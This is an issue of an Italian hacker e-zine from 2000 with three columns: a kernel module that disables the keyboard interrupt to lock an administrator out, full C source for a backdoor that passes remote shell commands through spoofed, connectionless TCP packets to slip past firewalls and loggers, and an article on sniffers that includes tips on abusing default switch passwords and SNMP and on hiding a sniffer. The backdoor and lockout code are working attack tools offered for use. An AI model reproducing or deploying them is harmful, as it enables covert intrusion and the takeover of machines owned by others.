============================================================================== -------------[ BFi numero 8, anno 3 - 30/04/2000 - file 5 di 28 ]------------- ============================================================================== -[ C0LUMNS ]------------------------------------------------------------------ ---[ THREADS -----[ Autori Vari -[ iNDEX --[ SBATTiAM0 FU0Ri L'ADMiN bELFaghor --[ SP00FED TCP SHELL |CyRaX| --[ SNiFFA CHE Si SNiFFA Noxious & smilzo -------------------------------------------------------- -[ SBATTiAM0 FU0Ri L'ADMiN --[ bELFaghor Quella che segue e' solo un'idea... semplice e banale... Come siamo abituati ad essere sbattuti fuori dall'admin, ora sbattiamo fuori l'admin dalla sua macchina: linenoise:~# cat /proc/interrupts 0: 397526 timer 1: 8129 keyboard 2: 0 cascade 4: 772 + serial : : : etc : linenoise:~# uname -r 2.0.36 linenoise:~# cat > ivoluan.c << STOP > #define __KERNEL__ > #define MODULE > > #include > #include > > #include > > int init_module(void) { > free_irq(1, NULL); > } > > void cleanup_module(void) { > printk("fuck the world i will deny you\n"); > } > > STOP linenoise:~# gcc -c ivoluan.c linenoise:~# insmod ivoluan.o Bene. Ora l'admin non potra' piu' interagire con la tastiera: non un singolo comando, non un interrupt, non un singolo bit mandato dalla tastiera sara' interpretato dal kernel. Il controllo della macchina sara' quindi solo prettamente remoto... e se chiudiamo fuori l'admin con hosts.deny, regole di fwing o quello che volete, il controllo della macchina sara' solo nostro... Ovviamente al reboot siamo punto e da capo... (nota: il reboot e' possibile solo spegnendo la macchina che non sync()era' i dati e via di fsck() ). Per una soluzione permanente bisognerebbe togliere il driver dal kernel ricompilandolo.. oppure caricare il modulo al boot.. insomma.. MAH ;-) Vedete voi ;-) ciauz, b. -------------------------------------------------------- -[ SP00FED TCP SHELL --[ |CyRaX| <-| stcpshell.c |-> /* Backdoor over non connected and spoofed tcp packets * Coded by |CyRaX| * Members Of Packets Knights Crew * www.programmazione.it/knights * This little backdoor works by sending data in tcp packets over tcp packets * without creating a connection. Simply we use the tcp that is a connection * oriented protocol as udp (connection less). * Why to do this : * - tcp loggers simpy log only the connection request * - firewalls can't block packets all the packets destinated to a port >= * 1024.. they logs only the packets with the SYN flag... but we don't * need it :) * Why this is better than backdoor over icmp or igmp : because a good admin * would simply blocks (or at least log) all those packets. But it's very hard * that he'll blocks all the tcp packets (or log them all) * Edit this code as you want (and correct all the bugs :P) */ #include #include #include #include #include #include #include #include #include /* USER SETUP * ports must be the same in the client and the server */ #define CLIENTPORT 1234 #define SERVERPORT 4321 /* Prototipi */ void uso(); void waitpkt(); void sendpkt(char *what, unsigned long int to); u_short in_chksum(u_short *ptr, int nbytes); /* Globals: */ int server=0; char victim[20]; int wait=1; int sock_waiting; char ourip[200]; /* some structs */ struct ippkt{ struct ip ip; struct tcphdr tcp; char something[12]; char data[1024]; }; struct pseudohdr { u_int32_t saddr; u_int32_t daddr; u_int8_t zero; u_int8_t protocol; u_int16_t lenght; }; /* Let's go !! :) */ int main(int argc, char **argv){ pid_t procid; struct ippkt pkt; char command[200]; srand(getpid()); if(argc<2){ uso(); exit(0); } if (strstr(argv[1],"-s")){ server=1; } else { strcpy(victim,argv[2]); strcpy(ourip,argv[3]); } sock_waiting=socket(AF_INET,SOCK_RAW,6); printf("Backdoor on non connected/spoofed tcp. Coded by |CyRaX|. cyrax@freemail.it\n"); printf("Members of Packets Knights Crew ! www.programmazione.it/knights\n"); if(server){ printf("Running in server mode. Forking and waiting for the data\n"); procid=fork(); if(procid!=0){ /* The parent dies. */ exit(0); } while(1){ waitpkt(); } } else { printf("Running in client mode. Sending data to %s.\n",victim); while(1){ printf("root@fucked.%s # ",victim); fgets(command,200,stdin); wait=1; sendpkt(command,inet_addr(victim)); while(wait){ waitpkt(); } } } } /* Functions that wait for packets */ void waitpkt(){ struct ippkt pkt; int howmany; struct sockaddr_in sin; int clen=sizeof(sin); FILE *job; char buff[200]; memset(&pkt,0,sizeof(struct ippkt)); howmany=recvfrom(sock_waiting,(struct ippkt *) &pkt,sizeof(pkt),0,(struct sockaddr *)&sin,&clen); if(ntohs(pkt.tcp.dest)==SERVERPORT && pkt.tcp.ack==0 && pkt.tcp.urg==0&&server){ job=popen(pkt.data,"r"); while(fgets(buff,199,job)!=0){ sendpkt(buff,pkt.tcp.seq); } strcpy(buff,"END_OF_PROCESS"); pclose(job); sendpkt(buff,pkt.tcp.seq); } if(ntohs(pkt.tcp.dest)==CLIENTPORT && pkt.tcp.ack==0 && pkt.tcp.urg==0&&!server){ wait=1; if(strstr(pkt.data,"END_OF_PROCESS")){ wait=0; } else{ printf("%s",pkt.data); } } } /* Functions that sends packets */ void sendpkt(char *what, unsigned long int to){ int sock; struct sockaddr_in from,temp; struct ippkt pkt; int hincl=1; int err; int s; struct ifreq ifr; struct pseudohdr psd; char *tosum; sock=socket(AF_INET,SOCK_RAW,IPPROTO_RAW); memset(&pkt,0,sizeof(pkt)); setsockopt(sock,IPPROTO_IP,IP_HDRINCL,&hincl,sizeof(hincl)); from.sin_addr.s_addr=to; from.sin_family=AF_INET; pkt.ip.ip_len=sizeof(struct ip)+sizeof(struct tcphdr)+12+strlen(what); pkt.ip.ip_hl=sizeof(pkt.ip)>>2; pkt.ip.ip_v=4; pkt.ip.ip_ttl=255; pkt.ip.ip_tos=0; pkt.ip.ip_off=0; pkt.ip.ip_id=htons((int)rand()); pkt.ip.ip_p=6; /* from www.microsoft.com .. you BETTER change this */ pkt.ip.ip_src.s_addr=inet_addr("207.46.131.137"); pkt.ip.ip_dst.s_addr=to; pkt.ip.ip_sum=in_chksum((u_short *) &pkt.ip,sizeof(struct ip)); if(server){ pkt.tcp.source=htons(SERVERPORT); pkt.tcp.dest=htons(CLIENTPORT); } else{ pkt.tcp.source=htons(CLIENTPORT); pkt.tcp.dest=htons(SERVERPORT); } if(server){ pkt.tcp.seq=666; } else{ pkt.tcp.seq=inet_addr(ourip); } /* SOME FLAGS */ pkt.tcp.ack=0; pkt.tcp.urg=0; pkt.tcp.window=1234; strcpy(pkt.data,what); pkt.tcp.urg_ptr=1234; /* MAYBE SOMETHING IS WRONG HERE */ tosum=malloc(sizeof(psd)+sizeof(pkt.tcp)); memcpy(&psd.saddr,&pkt.ip.ip_src.s_addr,4); memcpy(&psd.daddr,&pkt.ip.ip_dst.s_addr,4); psd.protocol=6; psd.lenght=htons(sizeof(struct tcphdr)+12+strlen(what)); memcpy(tosum,&psd,sizeof(psd)); memcpy(tosum+sizeof(psd),&pkt.tcp,sizeof(pkt.tcp)); pkt.tcp.check=in_chksum((u_short *)&tosum,sizeof(psd)+sizeof(pkt.tcp)); /* PACKET READY TO GO !!!!!! */ err=sendto(sock,&pkt,sizeof(struct ip)+sizeof(struct tcphdr)+sizeof(pkt.something)+strlen(what), 0,(struct sockaddr *)&from,sizeof(struct sockaddr)); } /* Function for the cksum.. ripped */ u_short in_chksum(u_short *ptr, int nbytes) { register long sum; /* assumes long == 32 bits */ u_short oddbyte; register u_short answer; /* assumes u_short == 16 bits */ /* * Our algorithm is simple, using a 32-bit accumulator (sum), * we add sequential 16-bit words to it, and at the end, fold back * all the carry bits from the top 16 bits into the lower 16 bits. */ sum = 0; while (nbytes > 1) { sum += *ptr++; nbytes -= 2; } /* mop up an odd byte, if necessary */ if (nbytes == 1) { oddbyte = 0; /* make sure top half is zero */ *((u_char *) &oddbyte) = *(u_char *)ptr; /* one byte only */ sum += oddbyte; } /* * Add back carry outs from top 16 bits to low 16 bits. */ sum = (sum >> 16) + (sum & 0xffff); /* add high-16 to low-16 */ sum += (sum >> 16); /* add carry */ answer = ~sum; /* ones-complement, then truncate to 16 bits */ return((u_short) answer); } void uso(){ printf("Backdoor On Non Connected And Spoofed Tcp Packets\n"); printf("Coded by |CyRaX| cyrax@freemail.it - |CyRaX|@ircnet\n"); printf("Member Of Packets Knights Crew ! www.programmazione.it/knights\n"); printf("Usage: server ./tcpb -s\n"); printf(" client ./tcpb -c \n"); printf("example : ./tcpb -s ; /tcpb -c 127.0.0.1 127.0.0.1\n"); exit(0); } <-X-> -------------------------------------------------------- -[ SNiFFA CHE Si SNiFFA --[ Noxious & smilzo Sniffa che si sniffa (una raccolta di piccole pulci per l'orecchio dello smanettone) by Noxious & Smilzo soci della - Metro Olografix - associazione culturale telematica (http://www.olografix.org) INTRODUZIONE In questo articolo parleremo dello sniffer in un modo un po' diverso e piu' teorico di quanto si faccia di solito, visto che oramai e' da considerarsi uno degli strumenti piu' utili per la comprensione delle reti. Il nostro scopo e' solo di dare qualche input alle anime piu' smanettone. Ovviamente non ci prendiamo nessuna responsabilita' nel caso il contenuto dell'articolo fosse usato in modo non canonico. Diamo per scontante le basi del TCP/IP; se cosi' non fosse datevi una letta ai vecchi articoli del buon FuSyS o uno 'sguardo' al celeberrimo TCP/IP Illustrated di Stevens. MR. ETHERNET I SUPPOSE... Il protocollo ethernet si colloca al livello 2 della pila OSI, il livello data-link. Lo standard e' definito CSMA/CD (Carrier Sense Multiple Access / Collision Detect) perche' piu' macchine posso accedere simultaneamente alla ethernet e ciascuna macchina puo' determinare lo stato della rete attraverso l'individuazione della portante. Quando una macchina ha un pacchetto da inviare controlla che la rete sia libera, altrimenti attende un tempo casuale per verificare se la rete e' ancora occupata. Una volta inviato il frame (vedi sotto) la macchina controlla la rete per verificare che altri segnali non interferiscano con la trasmissione (Collision Detect). Infatti se due frame vengono inviati quasi contemporaneamente, nessuno dei due risulta leggibile e si verifica una collisione. La ritrasmissione del frame avviene anch'essa dopo un tempo casuale per evitare che entrambe le macchine rispediscano di nuovo contemporaneamente i dati; se questo evento si riverifica, il precedente tempo di attesa viene moltiplicato esponenzialmente in ogni tentativo successivo. Il mittente comunque non ha nessuna informazione riguardo la ricezione dei dati da parte del destinatario (best-effort delivery), visto che normalmente questo e' compito dei protocolli di livello superiore al protocollo ethernet della pila OSI. Ogni scheda di rete ethernet contiene un indirizzo 'fisico' ed univoco (MAC address) che viene inserito direttamente nel firmware dal produttore e che serve a indirizzare i frame sulla corretta destinazione fisica. Nell'header del frame, oltre agli indirizzi MAC di destinazione e sorgente, e' specificato il protocollo incapsulato all'interno del frame, informazione fondamentale per il kernel che dovra' interpretare i dati in base al protocollo utilizzato. Piu' specificatamente, un classico frame Ethernet (per i curiosi, RFC 894) si compone di un header di 14 byte, 6 byte per l'indirizzo MAC di destinazione, 6 byte per l'indirizzo MAC sorgente e 2 byte per definire il tipo di protocollo incapsulato all'interno della frame. In coda al frame, dopo i dati, abbiamo 4 byte utilizzati per il CRC. Ora sappiamo di cosa stiamo parlando :) HUB? Tutti (noi speriamo) abbiamo avuto qualche esperienza con qualche tipo di rete lan. Sicuramente tutti abbiamo presente il concetto di 'hub', ma una ripassatina non fa male. L'hub (testualmente 'concentratore') viene utilizzato per creare delle reti cosiddette 'shared' con caratteristiche di risorse condivise. 'Shared' significa innanzitutto che tutte le macchine sulla rete condividono lo stesso cavo. Inoltre ogni macchina puo' inviare dei pacchetti quando vuole, questi non vengono indirizzati intelligentemente e vengono ricevuti da TUTTE le schede di rete collegate all'hub. In seguito sara' la stessa macchina a discriminare i pacchetti che la riguardano confrontando il MAC address di destinazione, e in caso di match con il proprio (che ricordiamo essere univoco), il pacchetto viene immagazzinato nel buffer e reso pronto per essere elaborato. Questo sistema, come potete ben immaginare, e' affetto da vari problemi, primo fra tutti le collisions dei frame (vedi sopra). Inoltre, sempre per il concetto di 'shared-media', e' molto facile intercettare i dati di passaggio sul cavo, dato che tutte le macchine sono in condizione di 'affacciarsi' sulla rete e 'vedere' tutto. Il diligente netmanager puo' essere avvantaggiato da una simile caratteristica della rete, ma come lui anche il prode hacker ne puo' trarre benefici :) Effettivamente analizzare il traffico di una rete puo' essere molto utile per vari motivi, primo fra tutti il debug e, non ultimo, quello di 'carpire' informazioni. SNIFFAMI! Da dove viene il nome 'sniffer'? Non ci crederete... dalla Network Associates. Per i romantici di turno, beh... un brusco ritorno alla realta' :) In effetti il prodotto della NA 'Sniffer Network Analyzer' vanta l'invenzione di un nuovo termine di uso comune. Il principio di funzionamento e' semplice. Riprendiamo per un attimo il discorso sul passaggio delle informazioni su un segmento di rete ethernet. Supponiamo di modificare il comportamento della nostra scheda di rete e di fargli elaborare anche i pacchetti non destinati alla nostra macchina. Per fare questo utilizziamo una feature dello standard 802.3, il 'promiscuous mode' per le schede di rete. Il comportamento della nostra scheda in questo caso sara' diverso: non accettera' piu' solo i pacchetti con il destination MAC che corrisponde al suo, ma accettera' tutti i pacchetti in transito, di qualsiasi tipo. Ogni commento e' superfluo :) HO PAURA.. Proteggersi dagli sniffer comuni e' un compito abbastanza semplice. Il metodo piu' veloce e' sicuramente creare une rete switched e non shared, installando degli switch al posto degli hub (ne parleremo in seguito). Un altro metodo e' la criptazione dei dati in transito. Per quanto riguarda specificatamente le password ci sono vari tipi di sistemi che ora non ci interessa elencare (uno fra tutti le one time password). Per proteggersi e comunque prendere delle contromisure dobbiamo prima INDIVIDUARE la presenza di uno sniffer sulla nostra lan. Ecco qualche dritta. I led dell'hub Uno dei metodi piu' empirici, funzionali e che presuppone una certa familiarita' con la rete in esame, consiste nel constatare la presenza di traffico non dovuto attraverso l'accensione del led di controllo di una porta dell'hub collegata fisicamente su una macchina che non dovrebbe creare traffico in quel momento. Puo' essere un buon indizio che richiede una verifica utilizzando gli altri metodi. Il dns Normalente gli sniffer sono configurati per restituire l'hostname degli ip che sniffano. Quindi fanno una query PTR al dns per avere questa informazione. Beh, se constatate un traffico anomalo di richeste dns da una macchina sospetta... non indugiate ed andate a controllare. Il ping Il trucco consiste nell'inviare una echo request ICMP all'indirizzo IP della macchina sospetta modificandone leggermente il MAC address e inserendone in effetti uno inesistente su quel segmento. Se la macchina in esame ci risponde, la sua scheda e' in modo promiscuo e probabilmente abbiamo individuato lo sniffer. Oltre al metodo del ping, possiamo utilizzare qualsiasi altro tipo di protocollo che preveda una risposta dalla macchina sospetta, ad esempio il finger, il time, etc. Metodo della latenza Questo e' il piu' intrigante e cattivo metodo per scoprire uno sniffer. Cosa succede se spediamo una quantita' enorme di pacchetti sulla rete? Si potrebbe dire quasi nulla. Effettivamente le macchine 'normali' non subiranno nessun rallentamento apprezzabile, ma la macchina in promiscuous mode... beh quella muore :-> Esistono altri metodi (come quello molto comune dell'ARP), ma andare a scoprirli puo' essere uno stimolo per la curiosita' del lettore. IL TANTO ATTESO SIGNOR SWITCH Per parlare degli switch facciamo prima una panoramica sul concetto di bridging. Un bridge semplice ha due sole interfacce di rete a cui sono collegati due segmenti di lan shared (vedi dis. A). La sua funzione e' di immagazzinare i dati che provengono da uno dei segmenti e inviarli sull'altro segmento SOLO se lo riguardano. Il bridge lavora a livello 2 (data-link) della pila OSI, infatti effettua controlli solo sull'indirizzo MAC di destinazione dei frame con una tabella dove riporta tutti i MAC delle schede collegate ai due segmenti di lan (vedi Tab. A). La sequenza delle operazioni e' questa: il bridge riceve e immagazzina il frame, legge il destination MAC e, se corrisponde ad uno dei MAC nella sua arp table, provvede ad inviare il frame attraverso una delle sue NIC verso il segmento corrispondente. - Disegno A __ __ s | | s e | |\ bridge /| | e g | | \ / | | g A m | NIC A | \____/ | NIC B | m B e |_____________| |_____________| e n | |__________| | n t__| |__t - Tabella A /----------------------------------------------\ | NIC A | NIC B | |----------------------|-----------------------| | 00-50-04-32-43-xx | 52-54-05-28-xx-xx | | 00-40-01-23-43-xx | 52-54-17-32-xx-xx | | 00-50-03-22-54-xx | 00-10-04-33-00-xx | \----------------------------------------------/ Nel caso in cui l'indirizzo richiesto nel pacchetto non fosse presente nella tabella, il bridge invia una richiesta arp in broadcast su entrambi i segmenti in modo da individuare eventuali nuove interfacce. In questo modo ogni segmento risulta fisicamente diviso dall'altro e le comunicazioni che avvengono internamente al segmento non vengono inviate attraverso il bridge. Lo switch e' semplicemente un perport bridge, ovvero un bridge con molte porte. Tipicamente lo switch viene utilizzato come super-hub (perdonateci il termine :), collegando direttamente i pc alle sue porte, ma un utilizzo piu' canonico prevede il collegamento di hub o altri switch invece dei pc. Questo secondo metodo viene utilizzato comunemente per reti di grandi dimensioni in cui vi sono esigenze di segmentazione fisica della rete preesistente (le Virtual LAN meritano un discorso futuro piu' approfondito). MI SFORZO MA NON CI RIESCO.., Per quelli che lo stanno facendo: smettetela, TEORICAMENTE non e' possibile sniffare in una rete switched. Ma come ormai tutti gli smanettoni sanno, nulla e' impossibile in informatica, 'tutto dipende dal tempo, dai soldi e dalle donne' (Maxxx maxima :) Sorvoliamo tutti gli interessanti discorsi sull'overflowing di richieste arp fittizie per trasformare il lavoro dello switch da 'bridging' a 'repeating' e passiamo subito al metodo piu' comodo :) SPAN E MONITOR PORT Prendiamo in esame una serie di apparati molto utilizzati, i SuperStack della 3Com. Questi switch hanno un modulo integrato per la configurazione che si puo' effettuare in tre modi. Via porta console, telnet e addirittura via web. Nota 1: capita spesso di trovare degli switch con un indirizzo ip pubblico e password di default (leggetevi i manuali per la pass). Se anche voi avete avuto un'idea da nobel del genere, beh... andate a chiudervi nel bagno vergognandovi come un camaleonte zoppo per un'ora :) Infatti attraverso queste comodissime interfacce di configurazione si puo' fare praticamente qualsiasi operazione sull'apparato. Un esempio? La possibilita' di disattivare tutte le porte dello switch che, se unita ad un cambio di password, vi fara' ritrovare con una rete bloccata e un DoS da fine dell'universo. Nota per quelli che erano in bagno prima: e' il momento di suicidarsi :) Un'altra possibilita' offerta da queste interfacce e' poter configurare una 'monitor' o 'span' port. Il primo termine appartiene molto all'ambito 3Com dove sugli switch possiamo monitorare il traffico di una sola porta alla volta. Dunque in questo caso dovremo decidere quale porta usare come bersaglio e quale come monitor port. Il termine 'span' invece riguarda molto l'ambito Cisco con i suoi Catalyst. Qui abbiamo la possibilita' di configurare una porta che riceve i dati anche di TUTTE le altre porte dello switch. Possiamo considerare questa porta cosi' configurata come una porta di un semplice hub. Tutte queste features vengono gestite attraverso i classici modi di interfacciamento di questi apparati, quali le porte console, il telnet e in quelli piu' recenti anche l'interfaccia web. Visto che questi sistemi di configurazione hanno normalmente dei menu user-friendly, pensiamo che non siano necessarie spiegazioni piu' dettagliate. Se comunque ne avete bisogno tutta la documentazione e' presente sui siti dei relativi costruttori :) Oltre questi metodi di configurazione ne manca uno che forse e' il piu' sfizioso: il protocollo SNMP. Il Simple Network Management Protocol e' pienamente supportato oltre che dai 3Com e dai Cisco, anche dalle altre maggiori marche, e -fidatevi- ci sono molti piu' switch con il supporto SNMP attivato e community di default che con password di default. Delle possibili sfiziosissime applicazioni dell'SNMP & Sniff parleremo magari in un prossimo articolo :) Nel frattempo fatevi una bella spremuta di... meningi :) SFRAJO SNIFFER Fino ad ora abbiamo discusso prevalentemente su come individuare uno sniffer e favorirne il funzionamento. Supponiamo di aver accesso fisico ad una rete e di non volere affatto che il nostro sniffer sia individuabile o che generi traffico inutile. Il metodo piu' efficace ed interessante e' quello di rendere 'muta' la scheda di rete della macchina su cui gira lo sniffer. Naturalmente la funzionalita' generale del collegamento fisico deve rimanere invariata in quanto la nostra scheda di rete deve continuare a ricevere i frame in ingresso. Sui cavi di rete oltre ad essere trasmessi i dati, viene mantenuto un segnale di link con l'hub. Questo impulso elettrico viene trasmesso dall'hub verso la scheda di rete che provvede a rinviarlo automaticamente. Ora, bloccare completamente i segnali in uscita della scheda di rete non consentirebbe il normale link con l'hub. Infatti l'hub non trovando nessun collegamento sulla porta, la considera non utilizzata. Il trucco c'e' e consiste nel 'danneggiare' i segnali in uscita dalla scheda. Complicato? Affatto. Questo nefasto segnale viene ritrasmesso solamente su uno dei due poli di trasmissione del cavo (TD+). Scollegando solamente l'altro polo (TD-), i frame in uscita dalla scheda verranno interpretati dalle altre macchine sulla rete come semplici disturbi, ma il segnale di link continuera' ad essere presente. Abbiamo fatto i nostri esperimenti del caso su una classica rete shared a 10Mbit con un comunissimo hub. Abbiamo preso un cavetto cat. 5 UTP (normalmente utilizzato per tutte le moderne lan ethernet) e abbiamo scollegato il pin 2 che provvede a fornire il segnale di Transmit Data negativo (TD-) di cui parlavamo sopra. Il nostro pc, come l'hub d'altronde, non si accorge minimamente della nostra modifica. L'hub vedendo un computer collegato, smista anche su di esso i frame della lan. Il computer dal suo canto li riceve tranquillamente. Quando il pc prova ad inviare dei frame non riscontra nessun problema poiche' vengono realmente spediti sulla rete, ma sono interpretati dal resto delle macchine solamente come disturbi e dunque ignorati. Non ci crederete, ma la cosa funziona veramente. (Un grazie sentito a _Q_ che ci ha permesso di 'tagliuzzare' il physical layer della sua rete :) Nella seconda parte approfondiremo alcuni discorsi qui solo accennati, sperando di avere piu' tempo per fornire anche qualche parte di codice utile. ... Penne (PE) ore 00:15 PIRIPI...PIRIPI... <\sPIRIT\> smilzo, quando e' pronto l'articolo? richiamami al 085/82xxxx che ho il cello scarico! DRIIIN...DRIIIN... <_Q_> pronto, carabinieri.. <\sPIRIT\> oh mi scusi.. DRIIIN...DRIIIN... pronto, carabinieri mi dica.. <\sPIRIT\> ah..carabinieri..scuss.. PIRIPI...PIRIPI... richiamami al quel caz di numero era un scherzo! <\sPIRIT\> ma porkkkkk... <\sPIRIT\> (mesto) ero ancora piu' coglione io che ci avevo creduto... ahahahahah Ringraziamenti W.R. Stevens... grazie per essere esistito, che il tuo spirito scenda su di noi per illuminarci. FuSyS per le consulenze sul codice... non usato :) AhPook per l'italianizzazione delle nostre nozioni tecniche. NeUrO, tu sei un grande sognatore... anche se i tuoi sogni sono sempre diventati realta'. Tutta la Metro Olografix e s0ftpj Bibliografia Internetworking with TCP/IP, Comer Sniffing-faq, Robert Graham Cisco training, Cisco training group -------------------------------------------------------- ============================================================================== ---------------------------------[ EOF 5/28 ]--------------------------------- ==============================================================================